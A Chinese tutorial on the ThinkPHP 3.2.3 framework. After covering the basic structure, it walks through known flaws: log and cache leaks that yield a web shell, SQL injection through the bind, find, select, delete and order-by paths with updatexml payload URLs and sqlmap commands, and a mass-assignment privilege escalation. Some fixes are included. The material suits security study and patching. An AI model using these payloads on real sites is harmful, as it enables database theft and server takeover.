通过一个留言板(一个表的增删改查)案例来了解tp3的基本开发结构
1.下载安装tp3.2.3
地址 : (由于官方的源码已经更新了, 这里使用以前保存的源码)
链接: https://caiyun.139.com/m/i?145CGKyNtas38 提取码:vX27 复制内容打开和彩云手机APP,操作更方便哦 (tp3留言板 , 更改conf下 的config.php文件的配置 hosts绑定www.tp3.com 到 127.0.0.1 , 打开debug 和配置 'SHOW_PAGE_TRACE' => true,)
核心版 : 是没有任何插件的
完整版 : 带一些常见插件 , 什么文件上传 , 验证码等
这里以完整版本为例
搭建环境 : phpstudy , php5.6(切换成php7也可以)
2.简单介绍
tp3是基于MVC设计思想开发的框架
M -- Model --> 模型 (和数据库打交道)
V -- View --> 显示界面
C -- Control --> 逻辑控制 (控制器 , 接收用户请求处理的)
2.2目录结构
├─index.php 入口文件
├─README.md README文件
├─Application 应用目录 ( 主要开发目录 , 主要开发的代码放在这里面 )
├─Public 资源文件目录 (前台文件,image,js,css等 , 模板文件中的__PUBLIC__ 指的及时该目录)
└─ThinkPHP 框架目录 ( 一般不会动里面的文件 )
入口文件
<?php
// +----------------------------------------------------------------------
// | ThinkPHP [ WE CAN DO IT JUST THINK ]
// +----------------------------------------------------------------------
// | Copyright (c) 2006-2014 http://thinkphp.cn All rights reserved.
// +----------------------------------------------------------------------
// | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )
// +----------------------------------------------------------------------
// | Author: liu21st <liu21st@gmail.com>
// +----------------------------------------------------------------------
// 应用入口文件
// 检测PHP环境
if (version_compare(PHP_VERSION, '5.3.0', '<')) {
die('require PHP > 5.3.0 !');
}
// 开启调试模式 建议开发阶段开启 部署阶段注释或者设为false
define('APP_DEBUG', true); # 部署时候是false
// true , 程序出错 , 会有详细的错误信息 , 那个文件 ,多少行
// false , 程序出错 , 只有页面错误! 请稍后再试 , 当然这都是默认的 , 也可以修改具体内容
// 定义应用目录
define('APP_PATH', './Application/'); # 也有的会自定义目录名叫App
// 引入ThinkPHP入口文件
require './ThinkPHP/ThinkPHP.php';
// 亲^_^ 后面不需要任何代码了 就是如此简单
2.1路由访问
一共常见的有三种
path_info
http://www.tp3.com/index.php/Home/Index/index/id/1 (顺序必须是这样)
入口文件 模块/控制器/方法/参数 (参数也可以写成index?id=1&name=tom)
兼容模式
http://www.tp3.com/index.php?s=Home/Index/index/id/1
入口文件 模块/控制器/方法/ 参数
mca方式
http://www.tp3.com/index.php?m=home&c=Index&a=index (使用参数了,顺序无所谓)
模块 控制器 方法
2.2控制器
控制器位于模块文件夹下的controller文件夹中 , 是一个php文件
文件名是控制器名称
IndexController.class.php ( 控制器名.class.php )
php文件中必须有一个IndexController类与之对应
显示页面
# 在控制器类中的index方法
return this->display();
# 默认就会将View文件夹下的index.html,显示在页面上 , 默认display没有参数的话, 会以方法名作为参数 , 当然也可以指定返回的html页面
return this->display("test.html");
了解display方法是如何和视图联系在一起的 , 默认是当前方法名.html
2.3模板文件
一般模板文件 , __PUBLIC__
指的是public目录 , 模板文件一般共同的部分都会采用分离 , 如共同的头部 , 单独分离出来写 , 然后再用到的地方包含这个文件 , 这叫模板分离
<include file="Public/header" />
模板中U函数
的使用 , 用来跳转地址
3.tp3常见漏洞分析
3.1日志信息泄露
ThinkPHP3.2.3在开启 DEBUG
的情况下会在 Runtime目录下生成日志, 如果ebug模式不关,可直接输入路径造成目录遍历。日志路径是有一定格式的
/application/runtime/Logs/home/19_05_24.log 模块 年_月_日.log可以看到是:项目名\Runtime\Logs\Home\年份_月份_日期.log , 这样的话日志很容易被猜解到, 而且日志里面有执行SQL语句的记录 , 管理员登录后台的sql语句也会有
补充 : thinkphp3.1 Runtime\Logs\Home\17_07_22.log
渗透测试中一般从日志里面获取admin账号登录后台的密码
3.2缓存信息泄露
F方法 快速缓存
如果F函数可控的话 , 是十分危险的 , 看下面一段代码
class IndexController extends Controller { //主界面 public function index(){ F("data1","<?php phpinfo();?>"); }
访问这个方法 , 代码运行 , 会在Runtime\data\
生成一个data1.php文件 , 内容就有 <?php phpinfo();?>
然后该文件可以直接在地址栏访问到
http://www.tp3.com/app/runtime/data/data1.php
这就是缓存拿shell
提一嘴 , tp3中除了F方法会产生缓存, 是不是还有其他的呢?
S方法 数据缓存
一般数据缓存用到的就是S方法 , 依然是一段危险代码举例
class IndexController extends Controller { //主界面 public function index(){ S("123456","?>\n<?php phpinfo();?>"); // 注意闭合 }
访问这个方法 , 代码运行 , 会在Runtime\Temp\
生成一个123456 md5后的一个文件 e10adc3949ba59abbe56e057f20f883e.php
, 内容就有 <?php phpinfo();?>
然后该文件可以直接在地址栏访问到
http://www.tp3.com/app/runtime/temp/e10adc3949ba59abbe56e057f20f883e.php
这个数据缓存拿shell在实战中遇到的比前者遇见的多一点
提一嘴 , 如果在配置文件中配置了数据缓存的key
'DATA_CACHE_KEY'=>'think' class IndexController extends Controller { //主界面 public function index(){ S("data","?>\n<?php phpinfo();?>"); // 注意闭合 }
那么数据缓存生成的文件名就是thinkdata这个值的md5了 , 相当于md5加盐操作
关于缓存文件拿shell , 两个操作点 , 一是什么时候会触发缓存文件的产生 , 二是生成的缓存文件的文件名是啥
3.3update注入
也叫bind注入 , 因为和bind (进行pdo处理的) 这个关键字有关 , 示例代码
<?phpnamespace Admin\Controller;use Think\Controller;class IndexController extends Controller { public function index(){ // 接收username参数和password参数 $condition["username"]= I("username"); $data["password"]= I("password"); // where方法产生的漏洞,所以username参数构造恶意就可以触发sql注入 $res =M("users")->where($condition)->save($data); dump($res); }}
payload
http://www.tp3.com/index.php/admin/index/index?username[0]=bind&username[1]=0%20and%201=(updatexml(1,concat(0x5e,(select%20user()),0x5e),1))%23&password=123456username[1]=0必须是0开头
关闭debug模式
漏洞分析
( 前提是dedug模式开启 , 因为如果关闭错误输出的话 , 就无法看到报错信息中的数据库敏感信息了 )
核心就是where方法接收的参数可控 , 而且接收的参数必须是数组
,save的参数也必须是数组
$condition= I("username"); // I方法就是处理请求的$data= I("password");# 这种是不行的 , 无法触发漏洞 , 一般使用where方法他必然接收的参数是数组 , 要不然他无法执行sql语句
同时没有进行漏洞的修复 , 最新的thinkphp3.2.3依然有这个漏洞
那么那些可控的参数会直接传进where方法里面呢? where是限制 , 所以说之前是限制查询基本上都会用到where 那么实战中你就可以使用这个payload打一下试试 , payload只需要改一下username为你当前参数即可
漏洞利用
如果实战中你没有分析过漏洞不知道漏洞原理 , 你可能直接抓包就丢给sqlmap跑了 , 但是直接跑是跑不出来的
构造好注入语句再跑 , 是完全可以跑出来的 , 当然还有一个前提依旧是debug要开启
, 是我sb了 , 还有延时注入啊
所以不需要开启debug也可以注入的
python3 -sqlmap.py -u "http://www.tp3.com/index.php/admin/index/index?username[0]=bind&username[1]=0&password=123456" -p "username[1]"
漏洞修复
在\ThinkPHP\Common\functions.php文件的think_filter方法中追加一个bindfunction think_filter(&$value){ // TODO 其他安全过滤 // 过滤查询特殊字符 , 修复只需要追加一个BIND if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|BIND|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){ $value .= ' '; }}
访问
http://www.tp3.com/index.php/admin/index/index?username[0]=bind&username[1]=0%20and%201=(updatexml(1,concat(0x5e,(select%20user()),0x5e),1))%23&password=123456
3.4find注入
示例漏洞代码 , 同样也是一个框架级别的漏洞
<?phpnamespace Admin\Controller;use Think\Controller;class IndexController extends Controller { public function index(){ $id = I("id"); $data = M("users")->find($id); // 主要用于查询 dump($data); }}
payload
http://www.tp3.com/index.php/admin/index/index?id[where]=1%20and%20updatexml(1,concat(0x5e,(select%20user()),0x5e),1)#id[table]=users where 1 and updatexml(1,concat(0x5e,(select%20user()),0x5e),1)# 数据库存在的一个表id[alias]=user where 1 and updatexml(1,concat(0x5e,(select%20user()),0x5e),1)#
漏洞分析
利用条件 : users表只有一个主键id , 然后就是find方法参数可控
, 参数是数组
而且没有任何的过滤
漏洞修复
//处理漏洞修复的话 , 这个加过滤,具体怎么过滤的话 , 自己百度$options = $this->_parseOptions( $options);
漏洞利用
python3 sqlmap.py -u "http://www.tp3.com/index.php/admin/index/index?id[where]=1" -p "id[where]"
3.5select注入
漏洞示例代码
<?phpnamespace Admin\Controller;use Think\Controller;class IndexController extends Controller { public function index(){ $id = I("id"); $data =M('user')->select($id); // 主要用于查询 dump($data); }}
payload
http://www.tp3.com/index.php/admin/index/index?id[where]=1%20and%20updatexml(1,concat(0x5e,(select%20user()),0x5e),1)#id[table]=users where 1 and updatexml(1,concat(0x5e,(select%20user()),0x5e),1)# 数据库存在的一个表id[alias]=user where 1 and updatexml(1,concat(0x5e,(select%20user()),0x5e),1)#
漏洞分析
select参数可控 , 参数为数组
3.6delete注入
漏洞示例代码
<?phpnamespace Admin\Controller;use Think\Controller;class IndexController extends Controller { public function index(){ $id = I("id"); $data = M('user')->delete($id); // 主要用于查询 dump($data); }}
payload
http://www.tp3.com/index.php/admin/index/index?id[where]=1%20and%20updatexml(1,concat(0x5e,(select%20user()),0x5e),1)#id[table]=users where 1 and updatexml(1,concat(0x5e,(select%20user()),0x5e),1)# 数据库存在的一个表id[alias]=user where 1 and updatexml(1,concat(0x5e,(select%20user()),0x5e),1)#
漏洞分析
delete参数可控 , 参数为数组
3.7order by注入
漏洞代码示例
<?phpnamespace Admin\Controller;use Think\Controller;class IndexController extends Controller { public function index(){ $username = I("username"); $order = I("order"); $data = M("users")->where(array("username"=>$username))->order($order)->select(); dump($data); }}
payload
http://www.tp3.com/index.php/admin/index/index?username=aaa&order=updatexml(1,concat(0x5e,(select%20user()),0x5e),1)
漏洞分析 (分析使用的tp3.2.3是官方最新版本)
order方法 , 参数可控 , 没有进行过滤和限制
漏洞利用
python3 sqlmap.py http://www.tp3.com/index.php/admin/index/index?username=aaa&order=1 -p order
漏洞修复
对order方法传进来的参数进行过滤
4.8逻辑漏洞
主要是垂直越权和水平越权 , 前面讲注入的时候主要涉及的是控制器 , 实际开发也会经常写模型代码
首先上漏洞示例代码 , 模型
<?phpnamespace Home\Model;use Think\Model;class UsersModel extends model{ protected $_auto = array( array('password','md5',3,'functions'), );}
控制器代码
<?phpnamespace Admin\Controller;use Think\Controller;class IndexController extends Controller { public function index(){ $User = D("Users"); // 实例化user对象 if (!$User->create()){ exit($User->getError()); }else{ $User->add(); } }}
payload (必须是post请求)
请求体username=aaa&password=123456&leve=1 # 追加了一个level字段, 默认是没有的
数据库
漏洞分析
这个漏洞想表达什么呢 , 就是当你使用了自动完成来新建一条记录到数据中 , 所有的字段都应该在模型中过滤限制就算前台只能输入一个字段 , 用户也可以抓包修改 , 这个可能会在注册页面 , 如果不做限制 , 那么leve=1代表超级管理员的话 , 就出现了垂直越权了
漏洞修复
<?phpnamespace Home\Model;use Think\Model;class UsersModel extends model{ protected $_auto = array( array('password','md5',3,'function'), array('leve','2'), );}
4.tp3.2指纹识别
4.1log识别
默认的log文件
2.cms在线识别
3.路由识别
因为tp5的路由已经不支持mac写法了 , m模块 , c控制器 , a方法
4.入口文件
在tp3中入口文件是在网站根目录下 , 但是tp是在public目录下
5.总结
tp3中存在多处sql注入和缓存漏洞sql注入: update注入(报错) order by 注入(报错) find , select delete注入 (报错)缓存写shell 注意路径和名称以及闭合 , 没有直接执行命令的